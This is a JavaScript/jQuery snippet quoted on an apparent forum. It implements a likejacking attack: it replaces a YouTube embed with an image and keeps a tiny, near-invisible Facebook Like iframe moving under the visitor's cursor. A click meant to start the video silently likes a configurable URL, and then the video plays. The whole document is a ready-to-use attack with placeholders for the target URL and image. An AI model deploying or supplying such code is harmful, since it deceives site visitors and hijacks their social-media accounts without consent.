Cytat:<script type="text/javascript">

// Put here the url to like, use document.location.href to use current url.
var sUrlToLike = 'http://www.site.com/your-url-to-like';
// An image to use to replace the YouTube video before the user clicks on it.
var sImageToUse = 'http://www.site.com/image-to-use-before-video-gets-loaded.png';

var oYouTubeFrame = $('iframe[src*="youtube.com/embed/"]');
var aMatches = oYouTubeFrame.attr('src').match( /^.+embed\/(.+)/ );

if( aMatches )
{
var sInstanceId = 'lj' + ( new Date() ).getTime();
var oActiveElement = undefined;
var oInterval = undefined;
var oRemoveInterval = undefined;
var oImage = $( '<img src="' + sImageToUse + '" width="560" height="315"/>' );
var oInvisibleDiv = $( '<div/>' );
var oIFrame = $( '<iframe id="' + sInstanceId + '"></iframe>' );
var sVideoCode = aMatches[1];
var bDone = false;
var iX = 0;
var iY = 0;

oYouTubeFrame.hide().after( oImage );

oInterval = setInterval( function()
{
oActiveElement = $( document.activeElement );

if( oActiveElement.attr('id') == sInstanceId && bDone == false )
{
oImage.remove();

oYouTubeFrame
.attr( 'src', 'http://www.youtube.com/embed/' + sVideoCode + '?autoplay=1' )
.show();

bDone = true;
oRemoveInterval = setInterval( function()
{
oInvisibleDiv.remove();

clearInterval( oRemoveInterval );
clearInterval( oInterval );
},
1000 );
}
},
50 );

oInvisibleDiv.css
({
border : 0,
width : '2px',
height : '2px',
position : 'absolute',
background : '#000'
});

oIFrame.css
({
border : 0,
width : '2px',
height : '2px',
margin : 0,
padding : 0,
position : 'absolute'
})
.attr( 'scrolling', 'no' )
.attr( 'frameborder', 'no' )
.attr( 'src', 'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent( sUrlToLike ) + '&show_faces=false' )
.appendTo( oInvisibleDiv );

oInvisibleDiv.appendTo('body');

$('body').mousemove( function(e)
{
iX = e.pageX;
iY = e.pageY;

oInvisibleDiv.css
({
left : ( e.pageX - 1 ) + 'px',
top : ( e.pageY - 1 ) + 'px'
});
});
}

</script>